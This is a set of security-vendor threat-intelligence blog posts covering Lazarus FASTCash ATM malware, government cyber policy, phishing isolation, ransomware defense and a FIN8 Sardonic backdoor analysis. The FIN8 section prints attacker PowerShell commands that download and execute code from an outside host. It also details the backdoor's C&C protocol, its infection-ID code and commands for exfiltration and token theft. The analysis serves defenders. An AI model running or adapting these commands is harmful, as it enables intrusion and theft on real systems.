The major benefit to native Apple Silicon support is we do not rely on Rosetta2 as many other companies do. There is an emulation penalty for the translation. As a native Apple Silicon application we will get the full benefit of the enhanced performance of the M1. The complete details on the release can be found here for you to read now.
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FASTCash: How the Lazarus Group is Emptying Millions from ATMs
Symantec uncovers tool used by Lazarus to carry out ATM attacks.
On October 2, 2018, an alert was issued by US-CERT, the Department of Homeland Security, the Department of the Treasury, and the FBI. According to this new alert, Hidden Cobra (the U.S. government’s code name for Lazarus) has been conducting “FASTCash” attacks, stealing money from Automated Teller Machines (ATMs) from banks in Asia and Africa since at least 2016.
Lazarus is a very active attack group involved in both cyber crime and espionage. The group was initially known for its espionage operations and a number of high-profile disruptive attacks, including the 2014 attack on Sony Pictures. More recently, Lazarus has also become involved in financially motivated attacks, including an US$81 million theft from the Bangladesh Central Bank and the WannaCry ransomware.
Following US-CERT's report, Symantec’s research uncovered the key component used in the group's recent wave of financial attacks. The operation, known as “FASTCash”, has enabled Lazarus to fraudulently empty ATMs of cash. To make the fraudulent withdrawals, Lazarus first breaches targeted banks’ networks and compromises the switch application servers handling ATM transactions.
Once these servers are compromised, previously unknown malware (Trojan.Fastcash) is deployed. This malware in turn intercepts fraudulent Lazarus cash withdrawal requests and sends fake approval responses, allowing the attackers to steal cash from ATMs.
According to the U.S. government alert, one incident in 2017 saw cash withdrawn simultaneously from ATMs in over 30 different countries. In another major incident in 2018, cash was taken from ATMs in 23 separate countries. To date, the Lazarus FASTCash operation is estimated to have stolen tens of millions of dollars.
How FASTCash attacks work - Details
In order to permit their fraudulent withdrawals from ATMs, the attackers inject a malicious Advanced Interactive eXecutive (AIX) executable into a running, legitimate process on the switch application server of a financial transaction network, in this case a network handling ATM transactions. The malicious executable contains logic to construct fraudulent ISO 8583 messages. ISO 8583 is the standard for financial transaction messaging. The purpose of this executable has not been previously documented. It was previously believed that the attackers used scripts to manipulate legitimate software on the server into enabling the fraudulent activity.
However, analysis by Symantec has found that this executable is in fact malware, which we have named Trojan.Fastcash. Trojan.Fastcash has two primary functions:
It monitors incoming messages and intercepts attacker-generated fraudulent transaction requests to prevent them from reaching the switch application that processes transactions.
It contains logic that generates one of three fraudulent responses to fraudulent transaction requests.
Once installed on the server, Trojan.Fastcash will read all incoming network traffic, scanning for incoming ISO 8583 request messages. It will read the Primary Account Number (PAN) on all messages and, if it finds any containing a PAN number used by the attackers, the malware will attempt to modify these messages. How the messages are modified depends on each victim organization. It will then transmit a fake response message approving fraudulent withdrawal requests. The result is that attempts to withdraw money via an ATM by the Lazarus attackers will be approved.
Here is one example of the response logic that Trojan.Fastcash uses to generate fake responses. This particular sample has logic to construct one of three fake responses based on the incoming attacker request:
For Message Type Indicator == 200 (ATM Transaction) and Point of Service Entry Mode starts with 90 (Magnetic Strip only):
If Processing Code starts with 3 (Balance Inquiry):
Response Code = 00 (Approved)
Otherwise, if the Primary Account Number is Blacklisted by Attackers:
Response Code = 55 (Invalid PIN)
All other Processing Codes (with non-blacklisted PANs):
Response Code = 00 (Approved)
In this case, the attackers appear to have built in a capability to selectively deny transactions based on their own blacklist of account numbers. However, the capability was not implemented in this sample, and the check for blacklisting always returns “False”.
Symantec has found several different variants of Trojan.Fastcash, each of which uses different response logic. We believe that each variant is tailored for a particular transaction processing network and thus has its own tailored response logic.
The PAN numbers used to carry out the FASTCash attacks relate to real accounts. According to the US-CERT report, most accounts used to initiate the transactions had minimal account activity or zero balances. How the attackers gain control of these accounts remains unclear. It is possible the attackers are opening the accounts themselves and making withdrawal requests with cards issued to those accounts. Another possibility is the attackers are using stolen cards to perform the attacks.
In all reported FASTCash attacks to date, the attackers have compromised banking application servers running unsupported versions of the AIX operating system, beyond the end of their service pack support dates.
Who is Lazarus?
Lazarus is a very active group involved in both cyber crime and espionage. Lazarus was initially known for its involvement in espionage operations and a number of high-profile disruptive attacks, including the 2014 attack on Sony Pictures that saw large amounts of information being stolen and computers wiped by malware.
In recent years, Lazarus has also become involved in financially motivated attacks. The group was linked to the $81 million theft from the Bangladesh central bank in 2016, along with a number of other bank heists.
Lazarus was also linked to the WannaCry ransomware outbreak in May 2017. WannaCry incorporated the leaked “EternalBlue” exploit that used two known vulnerabilities in Windows (CVE-2017-0144 and CVE-2017-0145) to turn the ransomware into a worm, capable of spreading itself to any unpatched computers on the victim’s network and also to other vulnerable computers connected to the internet. Within hours of its release, WannaCry had infected hundreds of thousands of computers worldwide.
Ongoing threat to the financial sector
The recent wave of FASTCash attacks demonstrates that financially motivated attacks are not simply a passing interest for the Lazarus group and can now be considered one of its core activities.
As with the 2016 series of virtual bank heists, including the Bangladesh Bank heist, FASTCash illustrates that Lazarus possesses an in-depth knowledge of banking systems and transaction processing protocols and has the expertise to leverage that knowledge in order to steal large sums from vulnerable banks.
In short, Lazarus continues to pose a serious threat to the financial sector and organizations should take all necessary steps to ensure that their payment systems are fully up to date and secured.
Protection
Symantec has the following detections in place to protect customers against Lazarus FASTCash attacks:
Trojan.Fastcash
Mitigation
Organizations should ensure that operating systems and all other software are up to date. Software updates will frequently include patches for newly discovered security vulnerabilities that could be exploited by attackers. In all reported FASTCash attacks to date, the attackers have compromised banking application servers running unsupported versions of the AIX operating system, beyond the end of their service pack support dates.
Indicators of Compromise
D465637518024262C063F4A82D799A4E40FF3381014972F24EA18BC23C3B27EE (Trojan.Fastcash Injector)
CA9AB48D293CC84092E8DB8F0CA99CB155B30C61D32A1DA7CD3687DE454FE86C (Trojan.Fastcash DLL)
10AC312C8DD02E417DD24D53C99525C29D74DCBC84730351AD7A4E0A4B1A0EBA (Trojan.Fastcash DLL)
3A5BA44F140821849DE2D82D5A137C3BB5A736130DDDB86B296D94E6B421594C (Trojan.Fastcash DLL)
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Federal Agencies Bracing for New Cyber Challenges in 2018
Symantec Government Symposium dominated by discussion of IT modernization, shared services, and collaboration as experts take the pulse of federal cyber security
It is not a matter of if an organization will get hacked, but when.
Every cyber security professional has heard a version of that statement – likely dozens of times over – in the last decade. It serves as a way to describe the enormous security challenge that organizations face on a daily basis.
“I cannot stand that phrase,” Symantec President and Chief Operating Officer Michael Fey said in kicking off the Symantec Government Symposium. “It gives us an implicit agreement that suffering a breach is OK.”
For federal agencies to remain secure Fey said they must continually look toward the future. That includes continually training employees to stay on top of the latest trends. “Unlike most industries the information you learned 10 years ago might not be relevant today,” he said.
The same approach also applies to thinking about future budgets.
“We wake up in a weird situation,” Fey said. “Cyber security budgets increase but not at the pace of cyber security needs. With new threats, regulations, and demands, there could be a situation where an organization will not be able to afford to do what they did the year before.”
Modernizing Technology
The Symantec Government Symposium brought more than 550 attendees together to talk the latest in federal cyber security. IT modernization, shared services, collaboration, cloud computing and the emergence of the Internet of Things were the primary topics discussed throughout the day.
“Agencies must not just modernize legacy IT systems, which create vulnerabilities,” said Jeanette Manfra, Assistant Secretary for the Office of Cyber security and Communications at the Department of Homeland Security. Instead, agencies must “look at modernizing the whole thing,” including how they buy and manage technology. She also added that agencies must make “risk-based procurement” decisions for IT, “which we currently don’t have a good way of doing,” she said.
The Modernizing Government Technology (MGT) Act will provide federal agencies with additional funds to improve upon legacy systems, but Dominic Sale, Deputy Associate Administrator for the Office of Information, Integrity and Access at the General Services Administration, said agencies should not fully rely on the funds, but think of how they would operate with that cash influx.
“We should not bank on the MGT Act, but it is a good idea and I think that idea is powerful,” Sale said. “And I think there are many of us who think it can be of help. [But] this is not our plan A.”
The most important part of the act, Sale said, may end up being the working capital funds established at each agency. Those funds can be pulled and carried over year-to-year, allowing agencies to spend them when they deem necessary, opposed to an artificial deadline. “That’s a good thing,” Sale said. “That’s nothing to sneer at.”
Federal leaders, by in large, said a risk-based approach to cyber security served as the best path forward. That approach, though, should include shared services. Federal agencies need to think more about how they can work together to reduce risk, opposed to repeating the same mistakes agency to agency.
Cloud computing has enabled shared services to work more from agency to agency. Instead of simply pushing one technology at an agency, government leaders can leverage technologies that are already proven to work. This process can also save agencies money that can be reinvested in other areas of cyber security.
“Shared services are becoming more and more critical,” said Rod Turk, Acting Chief Information Officer and CISO for the Department of Commerce. “At our department alone we have agencies and offices all over the country. Shared services are the only way we can succeed and that mentality needs to be spread across government.”
We’ll be posting additional blogs highlighting the quality content and speakers from the event. If you are interested in viewing our keynote presentations, you can access the video from those sessions here.
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Few Phish in a Sea Protected with Email Threat Isolation
While phishing attacks have become more sophisticated, users can now protect themselves in way than was ever previously possible. Here’s how
Over the past year, email-based phishing attacks have continued to present a major risk, exposing organizations to malware infections, information theft and other cyber misdeeds. This no longer needs to be the case.
Why not? Because, in July 2018, Symantec enhanced its existing portfolio of email security defenses with powerful new technologies. Those technologies can stop many phishing emails in their tracks and can short-circuit the threats posed by any malicious messages that manage to get through to their targets.
Phishing exploits – as far too many organizations have learned the hard way – aim to trick email recipients into either clicking on an embedded link or opening an attachment. The links bring users to malicious websites that often mirror the appearance of legitimate sites. Once a connection is established, the site may ask the victim to enter sensitive credentials and other private information or may simply download some form of malware to the user’s computer or device.
Phishing exploits – as far too many organizations have learned the hard way – aim to trick email recipients into either clicking on an embedded link or opening an attachment.
In the same fashion, email attachments can be used to spread malware. What may appear to be trustworthy documents, may immediately inject malware (via scripts or macros) into the unfortunate user’s device. This is a growing problem and one that it is hard for users to be vigilant against. During 2018, nearly half (48%) of all malicious email attachments were Microsoft Office files, up from just 5% the previous year, according to Symantec's annual Internet Security Threat Report (ISTR).
The phishing threat is broadly recognized, and most organizations have made at least some attempts to educate their users about safe email practices. The good news is that 78% of users never click on a phishing email all year, according to Verizon’s 2018 Data Breach Investigations Report. However, this still means that 22% of users will, and unfortunately, Verizon also found that for any given phishing campaign, on average, 4% of recipients will click on the phishing link or attachment.
That hit rate was enough to make phishing attacks the third-most common attack method used in successful cyber breaches during 2018, Verizon reported.
The frequency of phishing attacks has fluctuated in the recent past. Phishing assaults declined very slightly during 2018 compared to the prior year, with 1 in every 3,207 emails in 2018 representing a phishing attempt, Symantec’s ISTR reports.
from ISTR vol 24, p28 top left graphic
Phishing attacks have also become more sophisticated, with many relying on advanced social engineering techniques and public information about targeted users to craft messages that even cautious recipients may have difficulty rejecting.
Symantec has deep visibility into phishing and other email-based exploits because our collection of on-premises and cloud-based security products and services processes more than 2.4 billion emails each day. Products including Symantec Email Security.cloud, Email Threat Detection and Response and other offerings provide a layered tier of defenses for service providers, organizations, and individuals.
The first line of defense against emails containing embedded links, of course, is to identify links to known malicious sites and to block the emails’ delivery. Many phishing exploits attempt to hide the ultimate destination site by redirecting a clicked link through multiple hops before arriving at the malicious final stop. While some security controls can only follow redirects through one or two hops, Symantec Link Protection can follow the path through these redirects to the end destination.
How ETI Neutralizes Malicious Attachments
In practice, however, it isn’t always possible to determine with certainty whether a linked site is good or bad – many fall into a gray zone. This situation may occur, for example, with sites that initially appear safe, but become weaponized some time after the initial receipt of the phishing emails that contain their links.
To deal with these nebulous websites – and also to neutralize malicious email attachments – Symantec introduced its Email Threat Isolation (ETI) technology, an industry first. In essence, this technology virtualizes web browsers in a virtual, secure and disposable container to create a safe execution environment to run the web sessions between the user and a potentially dangerous site. The user experiences nothing different from a normal website interaction but should the site attempt to download some form of malware or exhibit other threatening indicators, the threat is contained in the isolation container and eliminated. Similarly, suspicious attachments can be opened in an isolated container and presented in read-only mode to keep the user safe from infection.
By adding ETI to its layered phishing defenses, Symantec has been protecting users in a more effective way than was possible before. We identify 1 in 3,207 emails as a phishing attack (0.03%) and block these threats using click time protection. However, we also know that customers often receive emails that link to unknown websites – that is, sites that may be safe or dangerous. In these instances, our isolation technology serves to de-risk this email traffic.
To deal with these nebulous websites – and also to neutralize malicious email attachments – Symantec introduced its Email Threat Isolation (ETI) technology, an industry first.
Analysis conducted by the Symantec Technology and Response (STAR) organization shows that 7% of customers’ entire email, on average, links to such potentially risky websites. For these “gray” websites, ETI functions as a preventative measure. With ETI, users can browse these websites with complete safety, no longer at risk from malware infection or credential theft. Therefore, ETI provides a valuable layer of protection without impacting the end user experience and is a marked improvement on just blocking access to known bad websites.
Symantec ETI is offered both within the Symantec Email Security.cloud solution and is also available as a standalone product that works with other vendor’s email security solutions.
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Fighting Ransomware? Get Ready for the Hunt
State and local governments should implement two-factor authentication, adopt a defense-in-depth security approach
The rapid growth of targeted ransomware attacks on state and local governments and educational institutions call for security teams to adopt a new mindset in order to protect vital information and assets. No longer can technology and information security teams (InfoSec) solely rely on erecting defensive walls around their perimeter networks to keep out the bad guys, as the bad guys are likely already in their networks.
Recent research indicates cyber criminals and hackers stealthily move through networks about 190 days before detection. Cyber security teams must go on the hunt to track them down and prevent them from doing damage. Moving from a defensive mindset to a more aggressive, hunter approach is a radical change of thinking for many government and education InfoSec professionals, but must be adopted to stem the tide of targeted ransomware and other cyber threats.
Recent research indicates cyber criminals and hackers stealthily move through networks about 190 days before detection.
Over the past two years, the number of organizations being hit with targeted ransomware attacks has multiplied as the number of gangs carrying out these attacks has proliferated, according to Symantec’s white paper, Targeted Ransomware: An ISTR Special Report.
Attackers deploying ransomware malware generally attempt to encrypt as many machines as possible, targeting servers as well as ordinary computers, and will often try to encrypt or destroy back up data. The affected organization could have its operations severely disrupted, losing access to vital data and services, unless a ransom is paid to unlock the affected computers and servers.
Ransomware on the Rise
Attacks appear to be happening every month. In fact, 23 local government entities across Texas were recently hit by a coordinated ransomware attack, the state's Department of Information Resources (DIR), reported. The Texas DIR indicated that the attacks started Friday morning, Aug. 16 and though the locations were not named, “the majority of these entities were smaller local governments.”
In June, three local Florida municipalities were all struck by ransomware – all three cases started with a city employee clicking on an attachment in email and unleashing malware. In 2018, ransomware incidents ranged from public libraries and school districts to major cities like Atlanta, as well as places like Akron, Ohio; Albany, New York; and Jackson County, Georgia.
In most of these cases, cyber criminals are looking to do the least amount of work for the biggest return on investment. The number one threat vector still is and probably always will be humans, who are being targeted via email phishing attacks. What’s more, the fact that city and local government officials publicly report they are paying ransoms provides an incentive for attackers to target them. Attackers say, “here is a business cycle that works.”
Resource Constraints
State and local governments and educational institutions have talented and skilled people working on the frontlines of cyber protection, but a big challenge – especially for smaller organizations – is the lack of resources. Not only are budget constraints a real issue, the ability to recruit and retain talent is also a hinderance. Add in the consideration that government agencies and educational institutions are embracing cloud and mobile-enabled environments to streamline IT operations and deliver more digital services, and the ability to fight ransomware becomes even more of a challenge.
Solving for Ransomware
As the Symantec ransomware report points out “attackers behind the ransomware are skilled and knowledgeable enough to penetrate the victim’s network. They deploy a range of tools to move across and map the network while using a variety of techniques to evade detection, before simultaneously encrypting as many machines as possible.”
There are some options state and local government organizations and educational institutions should consider, however, including:
Two-factor authentication: Increasingly, in order to secure access to devices and systems where data resides, deploying two-factor authentication, which adds a second level of authentication to account log-ins, is a must.
Managed security services: To address resource and workforce constraints more organizations are turning to managed security services, offering a subscription-based cost structure to provide continual, real-time monitoring across an organization’s security environment.
Data loss prevention (DLP): Stop unauthorized data exfiltration by insiders, while providing visibility into external threats. DLP tools can become threat-aware to safeguard data from both insider and outsider threats.
Defense-in-depth: A defense-in-depth security approach in which multiple layers of security controls are placed throughout an IT infrastructure to defend against emerging, sophisticated threats and to protect data irrespective of where it is and how it is accessed is important.
Threat hunting: Organizations either internally or via their managed security services provider should deploy threat hunting tools and techniques to actively detect threats that would otherwise go unnoticed.
Overall, state and local governments and educational institutions need to keep building their defense-in-depth strategy and prepare for the hunt in order to keep a step ahead of their adversaries.
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FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware
Financially motivated cyber-crime group continues to develop and improve tools and tactics.
Symantec’s Threat Hunter Team, a part of Broadcom, recently observed the Syssphinx (aka FIN8) cyber-crime group deploying a variant of the Sardonic backdoor to deliver the Noberus ransomware.
While analysis of the backdoor revealed it to be part of the Sardonic framework previously used by the group, and analyzed in a 2021 report from Bitdefender, it seems that most of the backdoor’s features have been altered to give it a new appearance.
Syssphinx
Active since at least January 2016, Syssphinx (aka FIN8) is a financially motivated cyber-crime group known for targeting organizations in the hospitality, retail, entertainment, insurance, technology, chemicals, and finance sectors.
The group is known for utilizing so-called living-off-the-land tactics, making use of built-in tools and interfaces such as PowerShell and WMI, and abusing legitimate services to disguise its activity. Social engineering and spear-phishing are two of the group’s preferred methods for initial compromise.
Syssphinx and Ransomware
While Syssphinx initially specialized in point-of-sale (POS) attacks, in the past few years the group has been observed using a number of ransomware threats in its attacks.
In June 2021, Syssphinx was seen deploying the Ragnar Locker ransomware onto machines it had compromised in a financial services company in the U.S. earlier in the year. The activity marked the first time the group was observed using ransomware in its attacks. Ragnar Locker is developed by a financially motivated cyber-crime group Symantec calls Hornworm (aka Viking Spider).
In January 2022, a family of ransomware known as White Rabbit was linked to Syssphinx. A malicious URL linked to White Rabbit attacks was also linked to Syssphinx. In addition, attacks involving White Rabbit used a variant of the Sardonic backdoor, a known Syssphinx tool.
In December 2022, Symantec observed the group attempting to deploy the Noberus (aka ALPHV, BlackCat) ransomware in attacks. Noberus is operated by a financially motivated cyber-crime group Symantec calls Coreid (aka Blackmatter, Carbon Spider, FIN7).
The Syssphinx group’s move to ransomware suggests the threat actors may be diversifying their focus in an effort to maximize profits from compromised organizations.
Backdoors
Syssphinx is known for taking extended breaks between attack campaigns in order to improve its tactics, techniques, and procedures (TTPs).
For instance, since 2019, Syssphinx had used backdoor malware called Badhatch in attacks. Syssphinx updated Badhatch in December 2020 and then again in January 2021. Then in August 2021, Bitdefender researchers published details of a new backdoor dubbed Sardonic and linked it to the same group. The C++-based Sardonic backdoor has the ability to harvest system information and execute commands, and has a plugin system designed to load and execute additional malware payloads delivered as DLLs.
The Syssphinx attack observed by Symantec in December 2022, in which the attackers attempted to deploy the Noberus ransomware, involved similar techniques as a Syssphinx attack described by Bitdefender researchers in 2021.
However, the most recent attack had some key differences, including the final payload being the Noberus ransomware and the use of a reworked backdoor.
The revamped Sardonic backdoor analyzed in this blog shares a number of features with the C++-based Sardonic backdoor analyzed by Bitdefender. However, most of the backdoor’s code has been rewritten, such that it gains a new appearance. Interestingly, the backdoor code no longer uses the C++ standard library and most of the object-oriented features have been replaced with a plain C implementation.
In addition, some of the reworkings look unnatural, suggesting that the primary goal of the threat actors could be to avoid similarities with previously disclosed details. For example, when sending messages over the network, the operation code specifying how to interpret the message has been moved after the variable part of the message, a change that adds some complications to the backdoor logic.
This goal seemed limited to just the backdoor itself, as known Syssphinx techniques were still used.
Attacker Activity
During the December 2022 incident, the attackers connected with PsExec to execute the command “quser” in order to display the session details and then the following command to launch the backdoor:
powershell.exe -nop -ep bypass -c iex (New-Object System.Net.WebClient).DownloadString('https://37-10-71-215[.]nip[.]io:8443/7ea5fa')
Next, the attackers connected to the backdoor to check details of the affected computer before executing the command to establish persistence.
powershell -nop -ep bypass -c CSIDL_WINDOWS\temp\1.ps1 2BDf39983402C1E50e1d4b85766AcF7a
This resulted with a process similar to that described by Bitdefender.
powershell.exe -nop -c [System.Reflection.Assembly]::Load(([WmiClass] 'root\cimv2:System__Cls').Properties['Parameter'].Value);[a8E95540.b2ADc60F955]::c3B3FE9127a()
The next day, the attackers connected to the persistent backdoor, but paused after running a few basic commands. Roughly 30 minutes later, the activity resumed with the attackers using what looked like wmiexec.py from Impacket, which started a process to launch a new backdoor.
cmd.exe /Q /c powershell -nop -ep bypass -c CSIDL_SYSTEM_DRIVE\shvnc.ps1 1> \\127.0.0.1\ADMIN$\__1671129123.2520242 2>&1
This new backdoor was used by the attackers for the next few hours.
Interestingly, the new backdoor PowerShell script uses a new file name and simplifies the command-line by removing the decryption key argument. Switching the tools like this could indicate that the attackers are testing new features, so we were curious to analyze this new sample in detail.
Technical Analysis
One difference between the attack described by Bitdefender and the recent attacks observed by Symantec is the technique used to deploy the backdoor. In our case, the backdoor is embedded (indirectly) into a PowerShell script (see Figure 1) used to infect target machines, while the variant documented by Bitdefender features intermediate downloader shellcode that downloads and executes the backdoor.
Figure 1. PowerShell script contains two .NET Loaders (32-bit and 64-bit), each with embedded injector and backdoor
PowerShell Script
The PowerShell script used by Syssphinx can be seen in Figure 2.
Figure 2. PowerShell script used by Syssphinx
The intention of the first line of code is to delete the PowerShell script file itself. The second line checks the architecture of the current process and picks the 32-bit or 64-bit version of the encoded .NET Loader as appropriate. The third line decodes the .NET Loader binary and loads it into the current process. Finally, the fourth line of code starts the main functionality of the .NET Loader, where the injector and backdoor are decrypted and control is passed to the injector.
.NET Loader
The .NET Loader is an obfuscated .NET DLL. The obfuscation manifests certain ConfuserEx features.
The .NET Loader contains two blobs, which it first decrypts with the RC4 algorithm using a hardcoded decryption key before decompressing. The decompressed blobs are then copied into a continuous chunk of memory. The .NET Loader then transfers control to the second blob (injector), passing the memory location and size of the first blob (backdoor) as parameters.
Injector
The injector is in the form of shellcode and its entrypoint is shown in Figure 3.
Figure 3. Injector entrypoint
The decrypt_dwords subroutine seen in Figure 3 decrypts a few dwords (marked as encrypted_dwords in Figure 3) to reveal a short chunk of code. The revealed code is shown in Figure 4 and includes a decryption loop that looks similar to the “shellcode decryption routine” described in Bitdefender’s report.
Figure 4. Code revealed by the decrypt_dwords subroutine
After the decryption loop completes execution, we can see the full logic of the entrypoint (Figure 5).
Figure 5. Full logic of entrypoint
The purpose of the injector is to start the backdoor in a newly created WmiPrvSE.exe process. When creating the WmiPrvSE.exe process, the injector attempts to start it in session-0 (best effort) using a token stolen from the lsass.exe process.
Backdoor
The Backdoor is also in the form of shellcode and its entrypoint looks similar to that of the injector entrypoint, with the exception of polymorphism.
Interactive sessions
One of the interesting features of the backdoor is related to interactive sessions, where the attacker runs cmd.exe or other interactive processes on the affected computer. Interestingly, the sample allows up to 10 such sessions to run at the same time. In addition, when starting each individual process, the attacker may use a process token stolen from a specified process ID that is different for each session.
Extensions
Another notable feature is that the backdoor supports three different formats to extend its functionality.
The first is with PE DLL plugins that the backdoor loads within its own process and then calls:
export "Start" (if present) on loading with the following arguments:
length of parameters array below
address of parameters array containing pointers to arguments received from the remote attacker
buffer of 1024 bytes to collect output for sending to the remote attacker
export "End" (if present) on unloading with the following arguments:
0 (hardcoded)
buffer of 1024 bytes to collect output for sending to the remote attacker
The second format supported by the backdoor is in the form of shellcode, where each shellcode plugin executes in its own dedicated process. Before starting the shellcode, the backdoor creates a new process and writes into its memory the shellcode blob preceded by a simple structure storing a copy of arguments received from the remote attacker. It then uses the QueueUserAPC API to execute the shellcode, such that the address of the mentioned structure is passed as the first and only shellcode argument. To unload any shellcode plugin, the backdoor simply terminates the process associated with the specified plugin.
Finally, the third format is also in the form of shellcode but with a different convention to pass the arguments. The backdoor executes this shellcode in the context of the backdoor's main thread and no other commands are accepted until the shellcode returns. To execute the shellcode, the backdoor simply calls it as a subroutine passing four arguments, each providing the address of the corresponding argument received from the remote attacker (the backdoor appears to use 64-bit values when passing the addresses in case of 32-bit shellcode).
Network communication
When communicating with its command-and-control (C&C) server, the backdoor exchanges messages of variable size using the structure shown in Table 1.
Table 1. Backdoor C&C message structure
Offset Size Description
0 DWORD Header
4 body_size BYTEs Body
4 + body_size 8 BYTEs Footer
The size of body field (body_size) can be determined from the content of the header field as explained in the following sections.
Initial message
Once the backdoor connects to its C&C server, it sends the initial message of 0x10C bytes with:
header field value 0xFFFFFCC0 (hardcoded), and
footer field left uninitialized.
The body field of the initial message is 0x100 bytes and uses the structure shown in Table 2.
Table 2. Body field structure of the initial message
Offset Size Description
0 DWORD The backdoor architecture where value 0 indicates 32-bit shellcode and value 1 indicates 64-bit shellcode
4 DWORD rc4_key_size
8 0x25 BYTEs Random padding
0x2D 0x20 BYTEs infection_id encrypted with RC4 algorithm using rc4_key as encryption key
0x4D 0x5B BYTEs Padding
0x88 rc4_key_size BYTEs rc4_key
0x88 + rc4_key_size 0x100 - (0x88 + rc4_key_size) BYTEs Random padding
The size of rc4_key filed (rc4_key_size) is always 0x40 bytes.
The snippet shown below roughly demonstrates the method used by the backdoor to generate the infection_id.
uint16_t sum_words(void *data, size_t size)
{
uint16_t *words = data;
uint16_t sum = 0;
while (size >= sizeof(*words)) {
size -= sizeof(*words);
sum += *words++;
}
return sum;
}
void mix(char *identifier, size_t identifier_size, char *seed, size_t seed_length)
{
const char hex_digits[] = "0123456789ABCDEF";
size_t index = 1;
for (size_t position = 1; position < identifier_size; position += 2) {
int value = index * ~(
seed[(index - 1) % seed_length]
+ seed[(index % identifier_size) % seed_length]
+ seed[((index + 1) % identifier_size) % seed_length]
+ seed[((index + 2) % identifier_size) % seed_length]
);
++index;
identifier[position - 1] = hex_digits[(value >> 4) & 0x0f];
identifier[position] = hex_digits[value & 0x0f];
}
}
void generate_infection_id(char *infection_id, size_t infection_id_size)
{
CHAR computer_name[0x400] = {};
DWORD computer_name_size = sizeof(computer_name);
GetComputerNameA(computer_name, &computer_name_size);
int cpu_info[4] = {};
__cpuid(cpu_info, 0);
DWORD volume_serial_number = 0;
GetVolumeInformationA("c:\\", 0, 0, &volume_serial_number, 0, 0, 0, 0);
char seed[0x410];
size_t seed_length = snprintf(seed, sizeof(seed), "%s%hu%hu",
computer_name,
sum_words(cpu_info, sizeof(cpu_info)),
sum_words(&volume_serial_number, sizeof(volume_serial_number)));
mix(infection_id, infection_id_size, seed, seed_length);
}
Other messages
For all the communication that follows (incoming and outgoing), the backdoor uses the following method to determine the size of the body field (body_size):
body_size is 0x80 for each incoming message with a header field value of 0xFFFFFE78 (hardcoded), and
body_size is simply the value of the header field in all other cases.
The content of body and footer fields is encrypted with the RC4 algorithm using rc4_key as the encryption key. The keystream is reused when encrypting each individual field.
The footer field is 8 bytes and, once decrypted, uses the structure shown in Table 3.
Table 3. Decrypted footer field structure
Offset Size Description
0 DWORD In case of outgoing messages, contains body_size value (redundant). In case of incoming messages, appears to represent used part of body field (but only some implemented cases rely on that).
4 DWORD message_type
Finally, the structure of the decrypted body field varies depending on the message_type.
Recognized commands
The backdoor has the ability to receive and carry out the commands listed in Table 4.
Table 4. Commands recognized by the backdoor
Command (message_type) Description
0x24C Exits the backdoor by returning to the caller of the Backdoor entrypoint.
0x404 Exits the backdoor and terminates the process where the backdoor executes.
0x224 Drops arbitrary new file with content supplied by the remote attacker.
0x1FC Exfiltrates content of arbitrary file to the remote attacker.
0x2F0 In case the specified interactive session is not active yet, the backdoor attempts to create a session that runs a new "cmd.exe" process. It then writes "chcp 65001" followed by the newline to the standard input of the created process as the first command to execute. Finally, the backdoor reports the name of the affected computer (per GetComputerName API) to the remote attacker. In case the specified interactive session already exists, the backdoor simply passes any data received from the remote attacker to the standard input of the active process that already runs in that session.
0x184 Creates or updates the specified interactive session to run an arbitrary new process, but using a stolen token. The data received from the remote attacker is parsed to recognize the following parameters: "-i [TOKEN_ID]" (required): process id to steal the token from, and "-c [COMMAND_LINE]" (optional): command line to execute, where backdoor uses "cmd.exe" if omitted.
0x1AC Terminates any ""stolen token"" process that runs in the specified interactive session.
0x1D4 Closes the specified interactive session if exists and terminates any processes running in that session.
0x274 Loads a DLL plugin supplied by the remote attacker, where the attacker also provides arbitrary name to identify that plugin and also any arguments for the plugin initialization subroutine. Any pre-existing DLL plugin identified by the same name gets unloaded first.
0x29C Unloads DLL plugin identified by the name specified by the remote attacker.
0x4F4 Starts a shellcode plugin supplied by the remote attacker, where the attacker also provides arbitrary name to identify that plugin, process id to steal the token from, and also arbitrary data to pass as the shellcode argument. Each shellcode plugin runs in newly created "WmiPrvSE.exe" process, which may use a token stolen from the specified process (best effort). Any pre-existing shellcode plugin identified by the same name is disposed first by terminating its "WmiPrvSE.exe" process.
0x454 Executes shellcode supplied by the remote attacker in the context of the current thread. This is separate from plugin infrastructure and also uses a different convention for passing shellcode parameters.
A Continued Threat
Syssphinx continues to develop and improve its capabilities and malware delivery infrastructure, periodically refining its tools and tactics to avoid detection. The group’s decision to expand from point-of-sale attacks to the deployment of ransomware demonstrates the threat actors’ dedication to maximizing profits from victim organizations. The tools and tactics detailed in this report serve to underscore how this highly skilled financial threat actor remains a serious threat to organizations.
Protection
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
SHA256 file hashes:
1d3e573d432ef094fba33f615aa0564feffa99853af77e10367f54dc6df95509 – PowerShell script
307c3e23a4ba65749e49932c03d5d3eb58d133bc6623c436756e48de68b9cc45 – Hacktool.Mimikatz
48e3add1881d60e0f6a036cfdb24426266f23f624a4cd57b8ea945e9ca98e6fd – DLL file
4db89c39db14f4d9f76d06c50fef2d9282e83c03e8c948a863b58dedc43edd31 – 32-bit shellcode
356adc348e9a28fc760e75029839da5d374d11db5e41a74147a263290ae77501 – 32-bit shellcode
e7175ae2e0f0279fe3c4d5fc33e77b2bea51e0a7ad29f458b609afca0ab62b0b – 32-bit shellcode
e4e3a4f1c87ff79f99f42b5bbe9727481d43d68582799309785c95d1d0de789a – 64-bit shellcode
2cd2e79e18849b882ba40a1f3f432a24e3c146bb52137c7543806f22c617d62c – 64-bit shellcode
78109d8e0fbe32ae7ec7c8d1c16e21bec0a0da3d58d98b6b266fbc53bb5bc00e – 64-bit shellcode
ede6ca7c3c3aedeb70e8504e1df70988263aab60ac664d03995bce645dff0935
5b8b732d0bb708aa51ac7f8a4ff5ca5ea99a84112b8b22d13674da7a8ca18c28
4e73e9a546e334f0aee8da7d191c56d25e6360ba7a79dc02fe93efbd41ff7aa4
05236172591d843b15987de2243ff1bfb41c7b959d7c917949a7533ed60aafd9
edfd3ae4def3ddffb37bad3424eb73c17e156ba5f63fd1d651df2f5b8e34a6c7
827448cf3c7ddc67dca6618f4c8b1197ee2abe3526e27052d09948da2bc500ea
0e11a050369010683a7ed6a51f5ec320cd885128804713bb9df0e056e29dc3b0
0980aa80e52cc18e7b3909a0173a9efb60f9d406993d26fe3af35870ef1604d0
64f8ac7b3b28d763f0a8f6cdb4ce1e5e3892b0338c9240f27057dd9e087e3111
